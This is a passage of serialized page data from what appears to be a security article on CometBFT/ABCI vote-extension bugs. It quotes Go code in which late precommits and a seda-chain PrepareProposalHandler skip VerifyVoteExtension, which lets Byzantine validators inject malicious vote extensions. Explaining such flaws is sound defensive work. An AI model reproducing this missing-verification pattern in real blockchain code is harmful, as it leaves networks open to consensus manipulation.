",{"type":25,"tag":264,"props":96410,"children":96412},{"className":96411},[],[96413],{"type":30,"value":96277},{"type":30,"value":96415},". This exposes a time window where Byzantine validators can smuggle malicious vote into the next leader's cache, luring the leader into including invalid vote extensions into its ",{"type":25,"tag":264,"props":96417,"children":96419},{"className":96418},[],[96420],{"type":30,"value":96421},"Proposal",{"type":30,"value":1860},{"type":25,"tag":7764,"props":96424,"children":96426},{"code":96425,"language":89280,"meta":7,"className":89281,"style":7},"func (cs *State) addVote(vote *types.Vote, peerID p2p.ID) (added bool, err error) {\n    ...\n\n    // A precommit for the previous height?\n    // These come in while we wait timeoutCommit\n    if vote.Height+1 == cs.Height && vote.Type == types.PrecommitType {\n        ...\n        // Late precommits are not checked by VerifyVoteExtension\n        added, err = cs.LastCommit.AddVote(vote)\n        ...\n        return added, err\n    }\n    extEnabled := cs.state.ConsensusParams.Feature.VoteExtensionsEnabled(vote.Height)\n    if extEnabled {\n        ...\n        if vote.Type == types.PrecommitType && !vote.BlockID.IsNil() &&\n            !bytes.Equal(vote.ValidatorAddress, myAddr) { // Skip the VerifyVoteExtension call if the vote was issued by this validator.\n            ...\n            err := cs.blockExec.VerifyVoteExtension(context.TODO(), vote)\n            ...\n        }\n    } else if {\n        ...\n    }\n    ...\n}\n",[96427],{"type":25,"tag":264,"props":96428,"children":96429},{"__ignoreMap":7},[96430,96542,96549,96556,96564,96572,96656,96663,96671,96725,96732,96753,96760,96832,96848,96855,96929,96985,96992,97054,97061,97068,97087,97094,97101,97108],{"type":25,"tag":271,"props":96431,"children":96432},{"class":13593,"line":13594},[96433,96437,96441,96446,96450,96455,96459,96464,96468,96473,96477,96481,96485,96490,96494,96499,96504,96508,96513,96517,96522,96526,96530,96534,96538],{"type":25,"tag":271,"props":96434,"children":96435},{"style":14289},[96436],{"type":30,"value":89416},{"type":25,"tag":271,"props":96438,"children":96439},{"style":13625},[96440],{"type":30,"value":16213},{"type":25,"tag":271,"props":96442,"children":96443},{"style":13598},[96444],{"type":30,"value":96445},"cs ",{"type":25,"tag":271,"props":96447,"children":96448},{"style":13603},[96449],{"type":30,"value":17702},{"type":25,"tag":271,"props":96451,"children":96452},{"style":13609},[96453],{"type":30,"value":96454},"State",{"type":25,"tag":271,"props":96456,"children":96457},{"style":13625},[96458],{"type":30,"value":14406},{"type":25,"tag":271,"props":96460,"children":96461},{"style":13620},[96462],{"type":30,"value":96463},"addVote",{"type":25,"tag":271,"props":96465,"children":96466},{"style":13625},[96467],{"type":30,"value":394},{"type":25,"tag":271,"props":96469,"children":96470},{"style":13598},[96471],{"type":30,"value":96472},"vote",{"type":25,"tag":271,"props":96474,"children":96475},{"style":13603},[96476],{"type":30,"value":22940},{"type":25,"tag":271,"props":96478,"children":96479},{"style":13609},[96480],{"type":30,"value":18890},{"type":25,"tag":271,"props":96482,"children":96483},{"style":13625},[96484],{"type":30,"value":1860},{"type":25,"tag":271,"props":96486,"children":96487},{"style":13609},[96488],{"type":30,"value":96489},"Vote",{"type":25,"tag":271,"props":96491,"children":96492},{"style":13625},[96493],{"type":30,"value":44},{"type":25,"tag":271,"props":96495,"children":96496},{"style":13598},[96497],{"type":30,"value":96498},"peerID",{"type":25,"tag":271,"props":96500,"children":96501},{"style":13609},[96502],{"type":30,"value":96503}," p2p",{"type":25,"tag":271,"props":96505,"children":96506},{"style":13625},[96507],{"type":30,"value":1860},{"type":25,"tag":271,"props":96509,"children":96510},{"style":13609},[96511],{"type":30,"value":96512},"ID",{"type":25,"tag":271,"props":96514,"children":96515},{"style":13625},[96516],{"type":30,"value":89498},{"type":25,"tag":271,"props":96518,"children":96519},{"style":13598},[96520],{"type":30,"value":96521},"added",{"type":25,"tag":271,"props":96523,"children":96524},{"style":13609},[96525],{"type":30,"value":25175},{"type":25,"tag":271,"props":96527,"children":96528},{"style":13625},[96529],{"type":30,"value":44},{"type":25,"tag":271,"props":96531,"children":96532},{"style":13598},[96533],{"type":30,"value":61536},{"type":25,"tag":271,"props":96535,"children":96536},{"style":13609},[96537],{"type":30,"value":27998},{"type":25,"tag":271,"props":96539,"children":96540},{"style":13625},[96541],{"type":30,"value":27925},{"type":25,"tag":271,"props":96543,"children":96544},{"class":13593,"line":11641},[96545],{"type":25,"tag":271,"props":96546,"children":96547},{"style":13603},[96548],{"type":30,"value":33460},{"type":25,"tag":271,"props":96550,"children":96551},{"class":13593,"line":14354},[96552],{"type":25,"tag":271,"props":96553,"children":96554},{"emptyLinePlaceholder":18},[96555],{"type":30,"value":16829},{"type":25,"tag":271,"props":96557,"children":96558},{"class":13593,"line":14391},[96559],{"type":25,"tag":271,"props":96560,"children":96561},{"style":14385},[96562],{"type":30,"value":96563},"    // A precommit for the previous height?\n",{"type":25,"tag":271,"props":96565,"children":96566},{"class":13593,"line":14400},[96567],{"type":25,"tag":271,"props":96568,"children":96569},{"style":14385},[96570],{"type":30,"value":96571},"    // These come in while we wait timeoutCommit\n",{"type":25,"tag":271,"props":96573,"children":96574},{"class":13593,"line":16406},[96575,96579,96584,96588,96593,96597,96601,96605,96610,96614,96618,96622,96626,96630,96635,96639,96643,96647,96652],{"type":25,"tag":271,"props":96576,"children":96577},{"style":16171},[96578],{"type":30,"value":25404},{"type":25,"tag":271,"props":96580,"children":96581},{"style":13598},[96582],{"type":30,"value":96583}," vote",{"type":25,"tag":271,"props":96585,"children":96586},{"style":13625},[96587],{"type":30,"value":1860},{"type":25,"tag":271,"props":96589,"children":96590},{"style":13598},[96591],{"type":30,"value":96592},"Height",{"type":25,"tag":271,"props":96594,"children":96595},{"style":13603},[96596],{"type":30,"value":2074},{"type":25,"tag":271,"props":96598,"children":96599},{"style":16187},[96600],{"type":30,"value":968},{"type":25,"tag":271,"props":96602,"children":96603},{"style":13603},[96604],{"type":30,"value":16422},{"type":25,"tag":271,"props":96606,"children":96607},{"style":13598},[96608],{"type":30,"value":96609}," cs",{"type":25,"tag":271,"props":96611,"children":96612},{"style":13625},[96613],{"type":30,"value":1860},{"type":25,"tag":271,"props":96615,"children":96616},{"style":13598},[96617],{"type":30,"value":96592},{"type":25,"tag":271,"props":96619,"children":96620},{"style":13603},[96621],{"type":30,"value":27306},{"type":25,"tag":271,"props":96623,"children":96624},{"style":13598},[96625],{"type":30,"value":96583},{"type":25,"tag":271,"props":96627,"children":96628},{"style":13625},[96629],{"type":30,"value":1860},{"type":25,"tag":271,"props":96631,"children":96632},{"style":13598},[96633],{"type":30,"value":96634},"Type",{"type":25,"tag":271,"props":96636,"children":96637},{"style":13603},[96638],{"type":30,"value":16422},{"type":25,"tag":271,"props":96640,"children":96641},{"style":13598},[96642],{"type":30,"value":91288},{"type":25,"tag":271,"props":96644,"children":96645},{"style":13625},[96646],{"type":30,"value":1860},{"type":25,"tag":271,"props":96648,"children":96649},{"style":13598},[96650],{"type":30,"value":96651},"PrecommitType",{"type":25,"tag":271,"props":96653,"children":96654},{"style":13625},[96655],{"type":30,"value":16431},{"type":25,"tag":271,"props":96657,"children":96658},{"class":13593,"line":16434},[96659],{"type":25,"tag":271,"props":96660,"children":96661},{"style":13603},[96662],{"type":30,"value":94955},{"type":25,"tag":271,"props":96664,"children":96665},{"class":13593,"line":16447},[96666],{"type":25,"tag":271,"props":96667,"children":96668},{"style":14385},[96669],{"type":30,"value":96670},"        // Late precommits are not checked by VerifyVoteExtension\n",{"type":25,"tag":271,"props":96672,"children":96673},{"class":13593,"line":16465},[96674,96679,96683,96687,96691,96695,96699,96704,96708,96713,96717,96721],{"type":25,"tag":271,"props":96675,"children":96676},{"style":13598},[96677],{"type":30,"value":96678},"        added",{"type":25,"tag":271,"props":96680,"children":96681},{"style":13625},[96682],{"type":30,"value":44},{"type":25,"tag":271,"props":96684,"children":96685},{"style":13598},[96686],{"type":30,"value":61536},{"type":25,"tag":271,"props":96688,"children":96689},{"style":13603},[96690],{"type":30,"value":16155},{"type":25,"tag":271,"props":96692,"children":96693},{"style":13598},[96694],{"type":30,"value":96609},{"type":25,"tag":271,"props":96696,"children":96697},{"style":13625},[96698],{"type":30,"value":1860},{"type":25,"tag":271,"props":96700,"children":96701},{"style":13598},[96702],{"type":30,"value":96703},"LastCommit",{"type":25,"tag":271,"props":96705,"children":96706},{"style":13625},[96707],{"type":30,"value":1860},{"type":25,"tag":271,"props":96709,"children":96710},{"style":13620},[96711],{"type":30,"value":96712},"AddVote",{"type":25,"tag":271,"props":96714,"children":96715},{"style":13625},[96716],{"type":30,"value":394},{"type":25,"tag":271,"props":96718,"children":96719},{"style":13598},[96720],{"type":30,"value":96472},{"type":25,"tag":271,"props":96722,"children":96723},{"style":13625},[96724],{"type":30,"value":16299},{"type":25,"tag":271,"props":96726,"children":96727},{"class":13593,"line":16486},[96728],{"type":25,"tag":271,"props":96729,"children":96730},{"style":13603},[96731],{"type":30,"value":94955},{"type":25,"tag":271,"props":96733,"children":96734},{"class":13593,"line":16495},[96735,96739,96744,96748],{"type":25,"tag":271,"props":96736,"children":96737},{"style":16171},[96738],{"type":30,"value":28866},{"type":25,"tag":271,"props":96740,"children":96741},{"style":13598},[96742],{"type":30,"value":96743}," added",{"type":25,"tag":271,"props":96745,"children":96746},{"style":13625},[96747],{"type":30,"value":44},{"type":25,"tag":271,"props":96749,"children":96750},{"style":13598},[96751],{"type":30,"value":96752},"err\n",{"type":25,"tag":271,"props":96754,"children":96755},{"class":13593,"line":16744},[96756],{"type":25,"tag":271,"props":96757,"children":96758},{"style":13625},[96759],{"type":30,"value":16501},{"type":25,"tag":271,"props":96761,"children":96762},{"class":13593,"line":16761},[96763,96768,96772,96776,96780,96785,96789,96794,96798,96803,96807,96812,96816,96820,96824,96828],{"type":25,"tag":271,"props":96764,"children":96765},{"style":13598},[96766],{"type":30,"value":96767},"    extEnabled",{"type":25,"tag":271,"props":96769,"children":96770},{"style":13603},[96771],{"type":30,"value":89532},{"type":25,"tag":271,"props":96773,"children":96774},{"style":13598},[96775],{"type":30,"value":96609},{"type":25,"tag":271,"props":96777,"children":96778},{"style":13625},[96779],{"type":30,"value":1860},{"type":25,"tag":271,"props":96781,"children":96782},{"style":13598},[96783],{"type":30,"value":96784},"state",{"type":25,"tag":271,"props":96786,"children":96787},{"style":13625},[96788],{"type":30,"value":1860},{"type":25,"tag":271,"props":96790,"children":96791},{"style":13598},[96792],{"type":30,"value":96793},"ConsensusParams",{"type":25,"tag":271,"props":96795,"children":96796},{"style":13625},[96797],{"type":30,"value":1860},{"type":25,"tag":271,"props":96799,"children":96800},{"style":13598},[96801],{"type":30,"value":96802},"Feature",{"type":25,"tag":271,"props":96804,"children":96805},{"style":13625},[96806],{"type":30,"value":1860},{"type":25,"tag":271,"props":96808,"children":96809},{"style":13620},[96810],{"type":30,"value":96811},"VoteExtensionsEnabled",{"type":25,"tag":271,"props":96813,"children":96814},{"style":13625},[96815],{"type":30,"value":394},{"type":25,"tag":271,"props":96817,"children":96818},{"style":13598},[96819],{"type":30,"value":96472},{"type":25,"tag":271,"props":96821,"children":96822},{"style":13625},[96823],{"type":30,"value":1860},{"type":25,"tag":271,"props":96825,"children":96826},{"style":13598},[96827],{"type":30,"value":96592},{"type":25,"tag":271,"props":96829,"children":96830},{"style":13625},[96831],{"type":30,"value":16299},{"type":25,"tag":271,"props":96833,"children":96834},{"class":13593,"line":16778},[96835,96839,96844],{"type":25,"tag":271,"props":96836,"children":96837},{"style":16171},[96838],{"type":30,"value":25404},{"type":25,"tag":271,"props":96840,"children":96841},{"style":13598},[96842],{"type":30,"value":96843}," extEnabled",{"type":25,"tag":271,"props":96845,"children":96846},{"style":13625},[96847],{"type":30,"value":16431},{"type":25,"tag":271,"props":96849,"children":96850},{"class":13593,"line":16791},[96851],{"type":25,"tag":271,"props":96852,"children":96853},{"style":13603},[96854],{"type":30,"value":94955},{"type":25,"tag":271,"props":96856,"children":96857},{"class":13593,"line":16800},[96858,96862,96866,96870,96874,96878,96882,96886,96890,96894,96898,96902,96906,96911,96915,96920,96924],{"type":25,"tag":271,"props":96859,"children":96860},{"style":16171},[96861],{"type":30,"value":16412},{"type":25,"tag":271,"props":96863,"children":96864},{"style":13598},[96865],{"type":30,"value":96583},{"type":25,"tag":271,"props":96867,"children":96868},{"style":13625},[96869],{"type":30,"value":1860},{"type":25,"tag":271,"props":96871,"children":96872},{"style":13598},[96873],{"type":30,"value":96634},{"type":25,"tag":271,"props":96875,"children":96876},{"style":13603},[96877],{"type":30,"value":16422},{"type":25,"tag":271,"props":96879,"children":96880},{"style":13598},[96881],{"type":30,"value":91288},{"type":25,"tag":271,"props":96883,"children":96884},{"style":13625},[96885],{"type":30,"value":1860},{"type":25,"tag":271,"props":96887,"children":96888},{"style":13598},[96889],{"type":30,"value":96651},{"type":25,"tag":271,"props":96891,"children":96892},{"style":13603},[96893],{"type":30,"value":27306},{"type":25,"tag":271,"props":96895,"children":96896},{"style":13603},[96897],{"type":30,"value":25989},{"type":25,"tag":271,"props":96899,"children":96900},{"style":13598},[96901],{"type":30,"value":96472},{"type":25,"tag":271,"props":96903,"children":96904},{"style":13625},[96905],{"type":30,"value":1860},{"type":25,"tag":271,"props":96907,"children":96908},{"style":13598},[96909],{"type":30,"value":96910},"BlockID",{"type":25,"tag":271,"props":96912,"children":96913},{"style":13625},[96914],{"type":30,"value":1860},{"type":25,"tag":271,"props":96916,"children":96917},{"style":13620},[96918],{"type":30,"value":96919},"IsNil",{"type":25,"tag":271,"props":96921,"children":96922},{"style":13625},[96923],{"type":30,"value":27164},{"type":25,"tag":271,"props":96925,"children":96926},{"style":13603},[96927],{"type":30,"value":96928},"&&\n",{"type":25,"tag":271,"props":96930,"children":96931},{"class":13593,"line":16823},[96932,96937,96942,96946,96950,96954,96958,96962,96967,96971,96976,96980],{"type":25,"tag":271,"props":96933,"children":96934},{"style":13603},[96935],{"type":30,"value":96936},"            !",{"type":25,"tag":271,"props":96938,"children":96939},{"style":13598},[96940],{"type":30,"value":96941},"bytes",{"type":25,"tag":271,"props":96943,"children":96944},{"style":13625},[96945],{"type":30,"value":1860},{"type":25,"tag":271,"props":96947,"children":96948},{"style":13620},[96949],{"type":30,"value":95411},{"type":25,"tag":271,"props":96951,"children":96952},{"style":13625},[96953],{"type":30,"value":394},{"type":25,"tag":271,"props":96955,"children":96956},{"style":13598},[96957],{"type":30,"value":96472},{"type":25,"tag":271,"props":96959,"children":96960},{"style":13625},[96961],{"type":30,"value":1860},{"type":25,"tag":271,"props":96963,"children":96964},{"style":13598},[96965],{"type":30,"value":96966},"ValidatorAddress",{"type":25,"tag":271,"props":96968,"children":96969},{"style":13625},[96970],{"type":30,"value":44},{"type":25,"tag":271,"props":96972,"children":96973},{"style":13598},[96974],{"type":30,"value":96975},"myAddr",{"type":25,"tag":271,"props":96977,"children":96978},{"style":13625},[96979],{"type":30,"value":37098},{"type":25,"tag":271,"props":96981,"children":96982},{"style":14385},[96983],{"type":30,"value":96984},"// Skip the VerifyVoteExtension call if the vote was issued by this validator.\n",{"type":25,"tag":271,"props":96986,"children":96987},{"class":13593,"line":16832},[96988],{"type":25,"tag":271,"props":96989,"children":96990},{"style":13603},[96991],{"type":30,"value":95631},{"type":25,"tag":271,"props":96993,"children":96994},{"class":13593,"line":16841},[96995,96999,97003,97007,97011,97016,97020,97024,97028,97033,97037,97042,97046,97050],{"type":25,"tag":271,"props":96996,"children":96997},{"style":13598},[96998],{"type":30,"value":95449},{"type":25,"tag":271,"props":97000,"children":97001},{"style":13603},[97002],{"type":30,"value":89532},{"type":25,"tag":271,"props":97004,"children":97005},{"style":13598},[97006],{"type":30,"value":96609},{"type":25,"tag":271,"props":97008,"children":97009},{"style":13625},[97010],{"type":30,"value":1860},{"type":25,"tag":271,"props":97012,"children":97013},{"style":13598},[97014],{"type":30,"value":97015},"blockExec",{"type":25,"tag":271,"props":97017,"children":97018},{"style":13625},[97019],{"type":30,"value":1860},{"type":25,"tag":271,"props":97021,"children":97022},{"style":13620},[97023],{"type":30,"value":96277},{"type":25,"tag":271,"props":97025,"children":97026},{"style":13625},[97027],{"type":30,"value":394},{"type":25,"tag":271,"props":97029,"children":97030},{"style":13598},[97031],{"type":30,"value":97032},"context",{"type":25,"tag":271,"props":97034,"children":97035},{"style":13625},[97036],{"type":30,"value":1860},{"type":25,"tag":271,"props":97038,"children":97039},{"style":13620},[97040],{"type":30,"value":97041},"TODO",{"type":25,"tag":271,"props":97043,"children":97044},{"style":13625},[97045],{"type":30,"value":31497},{"type":25,"tag":271,"props":97047,"children":97048},{"style":13598},[97049],{"type":30,"value":96472},{"type":25,"tag":271,"props":97051,"children":97052},{"style":13625},[97053],{"type":30,"value":16299},{"type":25,"tag":271,"props":97055,"children":97056},{"class":13593,"line":16907},[97057],{"type":25,"tag":271,"props":97058,"children":97059},{"style":13603},[97060],{"type":30,"value":95631},{"type":25,"tag":271,"props":97062,"children":97063},{"class":13593,"line":16915},[97064],{"type":25,"tag":271,"props":97065,"children":97066},{"style":13625},[97067],{"type":30,"value":16492},{"type":25,"tag":271,"props":97069,"children":97070},{"class":13593,"line":16945},[97071,97075,97079,97083],{"type":25,"tag":271,"props":97072,"children":97073},{"style":13625},[97074],{"type":30,"value":28901},{"type":25,"tag":271,"props":97076,"children":97077},{"style":16171},[97078],{"type":30,"value":16458},{"type":25,"tag":271,"props":97080,"children":97081},{"style":16171},[97082],{"type":30,"value":28910},{"type":25,"tag":271,"props":97084,"children":97085},{"style":13625},[97086],{"type":30,"value":16431},{"type":25,"tag":271,"props":97088,"children":97089},{"class":13593,"line":16953},[97090],{"type":25,"tag":271,"props":97091,"children":97092},{"style":13603},[97093],{"type":30,"value":94955},{"type":25,"tag":271,"props":97095,"children":97096},{"class":13593,"line":16984},[97097],{"type":25,"tag":271,"props":97098,"children":97099},{"style":13625},[97100],{"type":30,"value":16501},{"type":25,"tag":271,"props":97102,"children":97103},{"class":13593,"line":16992},[97104],{"type":25,"tag":271,"props":97105,"children":97106},{"style":13603},[97107],{"type":30,"value":33460},{"type":25,"tag":271,"props":97109,"children":97110},{"class":13593,"line":17052},[97111],{"type":25,"tag":271,"props":97112,"children":97113},{"style":13625},[97114],{"type":30,"value":17058},{"type":25,"tag":26,"props":97116,"children":97117},{},[97118],{"type":30,"value":97119},"If developers are not aware of the subtle details regarding vote extension handling in CometBTF, it is quite easy to overlook implementing protections against these attacks.",{"type":25,"tag":247,"props":97121,"children":97123},{"id":97122},"real-world-examples-4",[97124],{"type":30,"value":89803},{"type":25,"tag":26,"props":97126,"children":97127},{},[97128,97130,97135,97137,97143,97145,97151],{"type":30,"value":97129},"An example of the bug we just described is shown here. ",{"type":25,"tag":264,"props":97131,"children":97133},{"className":97132},[],[97134],{"type":30,"value":96256},{"type":30,"value":97136}," only checks that each vote is properly signed by a validator in ",{"type":25,"tag":264,"props":97138,"children":97140},{"className":97139},[],[97141],{"type":30,"value":97142},"ValidateVoteExtension",{"type":30,"value":97144}," but does not verify it against the rules in ",{"type":25,"tag":264,"props":97146,"children":97148},{"className":97147},[],[97149],{"type":30,"value":97150},"VerifyVoteExtention.",{"type":30,"value":97152}," Therefore leaving the leader vulnerable to accepting malicious vote extensions in their proposals.",{"type":25,"tag":26,"props":97154,"children":97155},{},[97156],{"type":25,"tag":83,"props":97157,"children":97160},{"href":97158,"rel":97159},"https://github.com/sedaprotocol/seda-chain/blob/66c1b593fa81c7d443ab5fa82757b45e68597f49/app/abci/handlers.go#L180",[9066],[97161],{"type":30,"value":89853},{"type":25,"tag":7764,"props":97163,"children":97165},{"code":97164,"language":89280,"meta":7,"className":89281,"style":7},"func (h *Handlers) PrepareProposalHandler() sdk.PrepareProposalHandler {\n    return func(ctx sdk.Context, req *abcitypes.RequestPrepareProposal) (*abcitypes.ResponsePrepareProposal, error) {\n        ...\n        var injection []byte\n        if req.Height > ctx.ConsensusParams().Abci.VoteExtensionsEnableHeight && collectSigs {\n            //Fails to verify vote extensions with VerifyVoteExtension rules\n            err := baseapp.ValidateVoteExtensions(ctx, h.stakingKeeper, req.Height, ctx.ChainID(), req.LocalLastCommit)\n            if err != nil {\n                return nil, err\n            }\n            injection, err = json.Marshal(req.LocalLastCommit)\n            if err != nil {\n                h.logger.Error(\"failed to marshal extended votes\", \"err\", err)\n                return nil, err\n            }\n            ...\n        }\n        defaultRes, err := h.defaultPrepareProposal(ctx, req)\n        ...\n        proposalTxs := defaultRes.Txs\n        if injection != nil {\n            proposalTxs = append([][]byte{injection}, proposalTxs...)\n            h.logger.Debug(\"injected local last commit\", \"height\", req.Height)\n        }\n        return &abcitypes.ResponsePrepareProposal{\n            Txs: proposalTxs,\n        }, nil\n    }\n}\n",[97166],{"type":25,"tag":264,"props":97167,"children":97168},{"__ignoreMap":7},[97169,97223,97314,97321,97342,97409,97417,97522,97545,97564,97571,97625,97648,97703,97722,97729,97736,97743,97797,97804,97830,97853,97905,97967,97974,98001,98021,98033,98040],{"type":25,"tag":271,"props":97170,"children":97171},{"class":13593,"line":13594},[97172,97176,97180,97185,97189,97194,97198,97203,97207,97211,97215,97219],{"type":25,"tag":271,"props":97173,"children":97174},{"style":14289},[97175],{"type":30,"value":89416},{"type":25,"tag":271,"props":97177,"children":97178},{"style":13625},[97179],{"type":30,"value":16213},{"type":25,"tag":271,"props":97181,"children":97182},{"style":13598},[97183],{"type":30,"value":97184},"h ",{"type":25,"tag":271,"props":97186,"children":97187},{"style":13603},[97188],{"type":30,"value":17702},{"type":25,"tag":271,"props":97190,"children":97191},{"style":13609},[97192],{"type":30,"value":97193},"Handlers",{"type":25,"tag":271,"props":97195,"children":97196},{"style":13625},[97197],{"type":30,"value":14406},{"type":25,"tag":271,"props":97199,"children":97200},{"style":13620},[97201],{"type":30,"value":97202},"PrepareProposalHandler",{"type":25,"tag":271,"props":97204,"children":97205},{"style":13625},[97206],{"type":30,"value":27164},{"type":25,"tag":271,"props":97208,"children":97209},{"style":13609},[97210],{"type":30,"value":91843},{"type":25,"tag":271,"props":97212,"children":97213},{"style":13625},[97214],{"type":30,"value":1860},{"type":25,"tag":271,"props":97216,"children":97217},{"style":13609},[97218],{"type":30,"value":97202},{"type":25,"tag":271,"props":97220,"children":97221},{"style":13625},[97222],{"type":30,"value":16431},{"type":25,"tag":271,"props":97224,"children":97225},{"class":13593,"line":11641},[97226,97230,97234,97238,97242,97246,97250,97254,97258,97263,97267,97272,97276,97281,97285,97289,97293,97297,97302,97306,97310],{"type":25,"tag":271,"props":97227,"children":97228},{"style":16171},[97229],{"type":30,"value":30111},{"type":25,"tag":271,"props":97231,"children":97232},{"style":14289},[97233],{"type":30,"value":93122},{"type":25,"tag":271,"props":97235,"children":97236},{"style":13625},[97237],{"type":30,"value":394},{"type":25,"tag":271,"props":97239,"children":97240},{"style":13598},[97241],{"type":30,"value":33401},{"type":25,"tag":271,"props":97243,"children":97244},{"style":13609},[97245],{"type":30,"value":91754},{"type":25,"tag":271,"props":97247,"children":97248},{"style":13625},[97249],{"type":30,"value":1860},{"type":25,"tag":271,"props":97251,"children":97252},{"style":13609},[97253],{"type":30,"value":89465},{"type":25,"tag":271,"props":97255,"children":97256},{"style":13625},[97257],{"type":30,"value":44},{"type":25,"tag":271,"props":97259,"children":97260},{"style":13598},[97261],{"type":30,"value":97262},"req",{"type":25,"tag":271,"props":97264,"children":97265},{"style":13603},[97266],{"type":30,"value":22940},{"type":25,"tag":271,"props":97268,"children":97269},{"style":13609},[97270],{"type":30,"value":97271},"abcitypes",{"type":25,"tag":271,"props":97273,"children":97274},{"style":13625},[97275],{"type":30,"value":1860},{"type":25,"tag":271,"props":97277,"children":97278},{"style":13609},[97279],{"type":30,"value":97280},"RequestPrepareProposal",{"type":25,"tag":271,"props":97282,"children":97283},{"style":13625},[97284],{"type":30,"value":89498},{"type":25,"tag":271,"props":97286,"children":97287},{"style":13603},[97288],{"type":30,"value":17702},{"type":25,"tag":271,"props":97290,"children":97291},{"style":13609},[97292],{"type":30,"value":97271},{"type":25,"tag":271,"props":97294,"children":97295},{"style":13625},[97296],{"type":30,"value":1860},{"type":25,"tag":271,"props":97298,"children":97299},{"style":13609},[97300],{"type":30,"value":97301},"ResponsePrepareProposal",{"type":25,"tag":271,"props":97303,"children":97304},{"style":13625},[97305],{"type":30,"value":44},{"type":25,"tag":271,"props":97307,"children":97308},{"style":13609},[97309],{"type":30,"value":27985},{"type":25,"tag":271,"props":97311,"children":97312},{"style":13625},[97313],{"type":30,"value":27925},{"type":25,"tag":271,"props":97315,"children":97316},{"class":13593,"line":14354},[97317],{"type":25,"tag":271,"props":97318,"children":97319},{"style":13603},[97320],{"type":30,"value":94955},{"type":25,"tag":271,"props":97322,"children":97323},{"class":13593,"line":14391},[97324,97328,97333,97337],{"type":25,"tag":271,"props":97325,"children":97326},{"style":14289},[97327],{"type":30,"value":93231},{"type":25,"tag":271,"props":97329,"children":97330},{"style":13598},[97331],{"type":30,"value":97332}," injection",{"type":25,"tag":271,"props":97334,"children":97335},{"style":13625},[97336],{"type":30,"value":89343},{"type":25,"tag":271,"props":97338,"children":97339},{"style":13609},[97340],{"type":30,"value":97341},"byte\n",{"type":25,"tag":271,"props":97343,"children":97344},{"class":13593,"line":14400},[97345,97349,97354,97358,97362,97366,97370,97374,97378,97382,97387,97391,97396,97400,97405],{"type":25,"tag":271,"props":97346,"children":97347},{"style":16171},[97348],{"type":30,"value":16412},{"type":25,"tag":271,"props":97350,"children":97351},{"style":13598},[97352],{"type":30,"value":97353}," req",{"type":25,"tag":271,"props":97355,"children":97356},{"style":13625},[97357],{"type":30,"value":1860},{"type":25,"tag":271,"props":97359,"children":97360},{"style":13598},[97361],{"type":30,"value":96592},{"type":25,"tag":271,"props":97363,"children":97364},{"style":13603},[97365],{"type":30,"value":27315},{"type":25,"tag":271,"props":97367,"children":97368},{"style":13598},[97369],{"type":30,"value":38953},{"type":25,"tag":271,"props":97371,"children":97372},{"style":13625},[97373],{"type":30,"value":1860},{"type":25,"tag":271,"props":97375,"children":97376},{"style":13620},[97377],{"type":30,"value":96793},{"type":25,"tag":271,"props":97379,"children":97380},{"style":13625},[97381],{"type":30,"value":43280},{"type":25,"tag":271,"props":97383,"children":97384},{"style":13598},[97385],{"type":30,"value":97386},"Abci",{"type":25,"tag":271,"props":97388,"children":97389},{"style":13625},[97390],{"type":30,"value":1860},{"type":25,"tag":271,"props":97392,"children":97393},{"style":13598},[97394],{"type":30,"value":97395},"VoteExtensionsEnableHeight",{"type":25,"tag":271,"props":97397,"children":97398},{"style":13603},[97399],{"type":30,"value":27306},{"type":25,"tag":271,"props":97401,"children":97402},{"style":13598},[97403],{"type":30,"value":97404}," collectSigs",{"type":25,"tag":271,"props":97406,"children":97407},{"style":13625},[97408],{"type":30,"value":16431},{"type":25,"tag":271,"props":97410,"children":97411},{"class":13593,"line":16406},[97412],{"type":25,"tag":271,"props":97413,"children":97414},{"style":14385},[97415],{"type":30,"value":97416},"            //Fails to verify vote extensions with VerifyVoteExtension rules\n",{"type":25,"tag":271,"props":97418,"children":97419},{"class":13593,"line":16434},[97420,97424,97428,97433,97437,97442,97446,97450,97454,97459,97463,97468,97472,97476,97480,97484,97488,97492,97496,97501,97505,97509,97513,97518],{"type":25,"tag":271,"props":97421,"children":97422},{"style":13598},[97423],{"type":30,"value":95449},{"type":25,"tag":271,"props":97425,"children":97426},{"style":13603},[97427],{"type":30,"value":89532},{"type":25,"tag":271,"props":97429,"children":97430},{"style":13598},[97431],{"type":30,"value":97432}," baseapp",{"type":25,"tag":271,"props":97434,"children":97435},{"style":13625},[97436],{"type":30,"value":1860},{"type":25,"tag":271,"props":97438,"children":97439},{"style":13620},[97440],{"type":30,"value":97441},"ValidateVoteExtensions",{"type":25,"tag":271,"props":97443,"children":97444},{"style":13625},[97445],{"type":30,"value":394},{"type":25,"tag":271,"props":97447,"children":97448},{"style":13598},[97449],{"type":30,"value":33401},{"type":25,"tag":271,"props":97451,"children":97452},{"style":13625},[97453],{"type":30,"value":44},{"type":25,"tag":271,"props":97455,"children":97456},{"style":13598},[97457],{"type":30,"value":97458},"h",{"type":25,"tag":271,"props":97460,"children":97461},{"style":13625},[97462],{"type":30,"value":1860},{"type":25,"tag":271,"props":97464,"children":97465},{"style":13598},[97466],{"type":30,"value":97467},"stakingKeeper",{"type":25,"tag":271,"props":97469,"children":97470},{"style":13625},[97471],{"type":30,"value":44},{"type":25,"tag":271,"props":97473,"children":97474},{"style":13598},[97475],{"type":30,"value":97262},{"type":25,"tag":271,"props":97477,"children":97478},{"style":13625},[97479],{"type":30,"value":1860},{"type":25,"tag":271,"props":97481,"children":97482},{"style":13598},[97483],{"type":30,"value":96592},{"type":25,"tag":271,"props":97485,"children":97486},{"style":13625},[97487],{"type":30,"value":44},{"type":25,"tag":271,"props":97489,"children":97490},{"style":13598},[97491],{"type":30,"value":33401},{"type":25,"tag":271,"props":97493,"children":97494},{"style":13625},[97495],{"type":30,"value":1860},{"type":25,"tag":271,"props":97497,"children":97498},{"style":13620},[97499],{"type":30,"value":97500},"ChainID",{"type":25,"tag":271,"props":97502,"children":97503},{"style":13625},[97504],{"type":30,"value":31497},{"type":25,"tag":271,"props":97506,"children":97507},{"style":13598},[97508],{"type":30,"value":97262},{"type":25,"tag":271,"props":97510,"children":97511},{"style":13625},[97512],{"type":30,"value":1860},{"type":25,"tag":271,"props":97514,"children":97515},{"style":13598},[97516],{"type":30,"value":97517},"LocalLastCommit",{"type":25,"tag":271,"props":97519,"children":97520},{"style":13625},[97521],{"type":30,"value":16299},{"type":25,"tag":271,"props":97523,"children":97524},{"class":13593,"line":16447},[97525,97529,97533,97537,97541],{"type":25,"tag":271,"props":97526,"children":97527},{"style":16171},[97528],{"type":30,"value":71916},{"type":25,"tag":271,"props":97530,"children":97531},{"style":13598},[97532],{"type":30,"value":61637},{"type"